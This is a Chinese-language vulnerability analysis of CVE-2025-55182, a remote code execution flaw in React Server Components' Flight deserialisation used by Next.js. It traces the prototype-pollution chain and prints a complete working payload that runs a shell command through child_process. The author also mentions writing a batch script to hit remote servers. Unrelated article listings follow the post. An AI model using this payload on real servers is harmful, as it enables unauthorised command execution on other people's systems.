news 2026/4/23 17:20:22

【Web】CVE-2025-55182 原理分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Web】CVE-2025-55182 原理分析

目录

前置知识

漏洞分析

Part1

Part2

Part3

漏洞复现

本地复现

远程复现

其他思考


很好的语言,使你的漏洞旋转😂

前置知识

RSC

RSC(React Server Components,React 服务器组件)是一种 React 的新型组件模型,由 Meta团队提出并集成到现代 React 框架(如 Next.js)中。它的核心目标是将部分组件的渲染工作从客户端转移到服务器端,从而提升性能、减少客户端 JavaScript 包体积,并增强安全性。

从这个角度来看,很类似古老的php和jsp🤔

不再是从后端取json回前端渲染,而是后端处理后直接返回一个html界面

thenable

当你执行 resolve(x) 时,JavaScript 引擎不会直接把 x 当作最终值,而是先检查 x 是否是一个 thenable(即具有 .then 方法的对象)。如果是,就一直递归执行下去,直到没有then。

Flight协议

React Flight是一种基于 JavaScript 可序列化格式(通常是 JSON-like 的流式文本)的组件与数据传输机制,主要用于 RSC 场景下,在服务器和客户端之间高效传输 UI 结构和数据。

一些特殊引用:

$@

Chunk 引用

Promise"$@1"

$K

FormData 引用

FormData"$K1"

$B

Blob 引用

Blob"$B1"

漏洞分析

Part1

RSC根据 Content-Type(multipart/form-data 或其他)选择相应的解码器:multipart/form-data 使用 decodeReplyFromBusboy

这段代码使用 Busboy 解析 multipart 表单流(含文件和字段),将其转换为 React Flight 协议可消费的内部响应对象,并返回一个 Promise 以获取最终解析结果,用于支持 Server Actions 中的文件上传。

busboy 的事件监听器收到数据修改时就会自动触发 resoveField()

最终getChunk返回一个Chunk

关注resolveField() ,内部调用resolveModelChunk()

resolveModelChunk内部调用initializeModelChunk

来看initializeModelChunk实现

对chunk.value进行json反序列化,然后将反序列化后的值作为value传给reviveModel

调用reviveModel

调用parseModelString

其实就是根据Flight协议去对特殊符号解引用,算是某种意义上的“反序列化”

Part2

再来看Chunk.prototype.then的实现

当status为resolved_model时,调用我们熟悉的initializeModelChunk

去根据Flight协议“反序列化”,和Part1的流程一样,不赘述

Part3

来对照payload看,共涉及三次解析

payload用的:https://github.com/msanft/CVE-2025-55182

注意首先要用Next-Action去指定为Server Action请求

这里$1被指向了$@0,也就是name="0"的Chunk引用

第一次解析

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}

$1:__proto__:then被解析为Chunk.prototype.then

$1:constructor:constructor被解析为Function构造方法(理解很直观,chunk的构造方法本身是个方法,所有方法的构造方法,都是Function)

最终被解析为

{"then": Chunk.prototype.then, "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

第二次解析

{"then": Chunk.prototype.then, "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

调用Chunk.prototype.then

这里重点来看$B是怎么处理的

其实就是对传入的数从16进制转成10进制,再与prefix拼接

而传入的prefix是一段恶意代码

var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

传入的_formData.get也被污染为了Function构造方法

Function("var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0")

解析成一个恶意匿名函数

function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}

最终整体被解析为

{"then": function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}, "status": "fulfilled", "reason": -1, "value": "{\"then\": function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

第三次解析

此时发现还有then

就去执行then里的恶意匿名函数,从而达成RCE

漏洞复现

poc:https://github.com/msanft/CVE-2025-55182

本地复现

npm create next-app@16.0.6

cd test npm run dev

搭建好的首页

远程复现

写个批量脚本

远程抓一个打一下

其他思考

其实对"then"的赋值用不用prototype/__proto__都行,因为chunk.then全局没有定义,自然会去找其原型类的then方法调用

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 11:17:15

智能工具精准辅助学术研究,从选题到初稿实现全流程优化

在毕业论文写作高峰期,如何高效完成开题报告和正文是学生普遍面临的挑战,传统人工写作方式灵活但效率较低,而智能写作工具能显著提升内容生成速度并优化文本质量。通过横向测评9款主流平台的综合表现,本文将从人工写作技巧切入&am…

作者头像 李华
网站建设 2026/4/23 11:16:19

机器学习模型持续优化,逐步提升学术表达的准确性和深度

在毕业论文季,高效完成开题报告和论文是许多学生面临的挑战,传统人工写作虽灵活但耗时费力,而AI工具能快速生成内容并优化重复率与AI痕迹;通过对比9款主流平台,可筛选出最适合学术需求的智能助手,从人工写作…

作者头像 李华
网站建设 2026/4/23 6:13:20

APK Pure是否能跑Qwen3-8B?移动端适配可行性探讨

APK Pure是否能跑Qwen3-8B?移动端适配可行性探讨 在高端手机越来越像“掌上电脑”的今天,一个问题悄然浮现:我们能不能在一部安卓设备上,本地运行像 Qwen3-8B 这样的大语言模型?更具体一点——通过 APK Pure 安装的某个…

作者头像 李华
网站建设 2026/4/22 15:05:44

黑五后必看:亚马逊多变体规则革新,卖家如何抢占首页?

亚马逊搜索排名机制正在经历一场深刻变革,过去同一产品通常仅有一个最优子体占据首页,如今多个子体同时出现在搜索结果前列已成为新常态,这一变化标志着平台流量分配逻辑从"单品竞争"向"矩阵布局"的根本转变。规则演进&a…

作者头像 李华
网站建设 2026/4/23 11:16:21

iOS 性能监控 运行时指标与系统行为的多工具协同方案

在 iOS 应用研发过程中,性能监控 是连接“开发阶段性能调优”和“线上稳定性保障”的关键环节。 与一次性的性能测试不同,iOS 性能监控关注的是 应用在真实运行过程中的持续表现,它强调长期、动态、可对比、可回溯的数据采集与分析能力。 从工…

作者头像 李华
网站建设 2026/4/23 11:16:20

AutoGPT如何识别低效路径?执行过程优化算法

AutoGPT如何识别低效路径?执行过程优化算法 在智能体系统逐渐从“被动响应”走向“自主行动”的今天,一个核心问题浮出水面:当AI被赋予一个目标后,它真的能高效地抵达终点吗? 以AutoGPT为代表的自主智能体展示了令人振…

作者头像 李华